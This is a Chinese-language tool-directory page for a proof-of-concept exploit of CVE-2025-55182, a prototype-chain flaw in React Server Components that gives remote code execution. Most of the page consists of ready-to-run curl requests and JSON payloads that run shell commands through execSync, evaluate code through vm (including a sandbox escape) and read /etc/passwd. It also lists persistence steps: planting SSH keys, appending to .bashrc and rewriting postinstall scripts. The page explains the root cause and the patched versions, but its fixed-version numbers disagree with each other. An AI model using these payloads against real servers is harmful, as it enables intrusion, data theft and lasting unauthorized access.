Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-poc — 概念验证漏洞利用 CVE-2025-55182,演示了通过 React Server Components 中的原型链漏洞实现远程代码执行。包含多个 RCE 小工具和持久化攻击。 | Kitploit
工具/GitHubGitHub/ducducuc111/cve-2025-55182-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育Payload 开发
GitHubducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

概念验证漏洞利用 CVE-2025-55182,演示了通过 React Server Components 中的原型链漏洞实现远程代码执行。包含多个 RCE 小工具和持久化攻击。

查看仓库
49个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 - React 服务端组件原型链漏洞

本 PoC 使用实际的 [email protected] 漏洞代码演示 CVE-2025-55182。

快速开始

root@kitploit:~
# 安装依赖
npm install

# 启动漏洞服务器(端口 3002)
npm start

# 运行 RCE 利用
npm run exploit

预期输出

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM 脚本

root@kitploit:~
# 服务器
npm start              # 启动主服务器 (server-realistic.js, 端口 3002)
npm run start:legacy   # 启动旧版服务器 (server.js, 端口 3002)

# 利用
npm run exploit            # RCE 演示(使用 vm,适用于:vm、child_process、fs)
npm run exploit:all        # 测试所有利用方式
npm run exploit:persistence # 持久化攻击(仅 fs)

测试单个利用方式

root@kitploit:~
# 先启动服务器
npm start

# 测试 fs 读取
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# 测试命令执行
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# 测试 vm 代码执行
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# 测试原型链访问
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

关键文件

服务器

文件端口描述
src/server-realistic.js3002主服务器 - 模拟包含常见模块(fs、vm、child_process)的 webpack 打包文件
src/server.js3002旧版服务器(使用直接 require)

利用脚本

文件描述
exploit-rce-v4.js主要 RCE 通过 vm#runInThisContext
exploit-all-gadgets.js测试所有 RCE 利用方式(vm、child_process、fs)
exploit-persistence.js持久化攻击(SSH 密钥、.bashrc)

server-realistic.js 工作原理

模拟真实的 webpack 打包文件,其中应用通过依赖关系通常包含危险模块:

root@kitploit:~
// 打包模块(使用常见包时会包含的内容)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* 用户的服务器操作 */ },
  'fs': require('fs'),           // 通过 fs-extra、gray-matter、multer
  'child_process': require('child_process'), // 通过 execa、shelljs、puppeteer
  'vm': require('vm'),           // 通过 ejs、pug、handlebars
  'util': require('util'),
};

__webpack_require__ 函数仅从 BUNDLED_MODULES 加载模块,模拟真实的 webpack 行为。

漏洞

根本原因

在 requireModule() 中,导出通过方括号语法访问,未进行 hasOwnProperty 检查:

root@kitploit:~
// 存在漏洞(React 19.0.0)
return moduleExports[metadata[2]];  // 访问了原型链!

// 已修复(React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

攻击向量

  1. 发送带有绑定操作元数据的 $ACTION_REF_0
  2. id: 'vm#runInThisContext' 加载 vm 模块,访问 runInThisContext 导出
  3. bound 数组成为函数的参数
  4. 当操作被调用时:runInThisContext(CODE) 执行任意代码

所有已验证的 RCE 利用方式

利用方式状态描述
vm#runInThisContext✓在当前上下文中执行任意 JS
vm#runInNewContext✓在“沙箱”中执行(易于逃逸)
child_process#execSync✓直接执行 shell 命令
child_process#execFileSync✓执行二进制文件
child_process#spawnSync✓生成进程(返回对象)
fs#readFileSync✓读取任意文件
fs#writeFileSync✓写入任意文件

利用负载示例

执行 shell 命令 (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

读取敏感文件:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

写入文件:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

执行任意 JavaScript:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

沙箱逃逸 (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

替代攻击路径

你需要 vm 或 child_process 吗?

对于直接 RCE:是的,你需要以下之一:

  • vm 模块(runInThisContext、runInNewContext)
  • child_process 模块(execSync、execFileSync、spawnSync)

对于间接 RCE(仅 fs):不需要!仅需 fs 即可:

  • 写入 ~/.ssh/authorized_keys → SSH 访问
  • 追加到 ~/.bashrc → 下次登录时执行代码
  • 覆盖 node_modules/* → 应用重启时 RCE
  • 修改 package.json 的 postinstall → 下次 npm install 时 RCE

对比结果

版本攻击结果
React 19.0.0vm#runInThisContext✓ 成功实现 RCE
React 19.2.1vm#runInThisContext✗ 已阻止

测试修复版本

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# 攻击将失败

存在漏洞的 npm 包

有关包含危险模块的流行 npm 包的研究,请参见 VULNERABLE-PACKAGES.md:

模块周下载量流行包
fs145M+fs-extra、gray-matter、multer、sharp
child_process103M+execa、shelljs、puppeteer、sharp
vm21M+ejs、pug、handlebars、vm2

受影响版本

  • react-server-dom-webpack:< 19.2.0
  • react-server-dom-turbopack:< 19.2.0

修复版本

  • react-server-dom-webpack:>= 19.2.0
  • react-server-dom-turbopack:>= 19.2.0
  • Next.js:15.0.5+
下载工具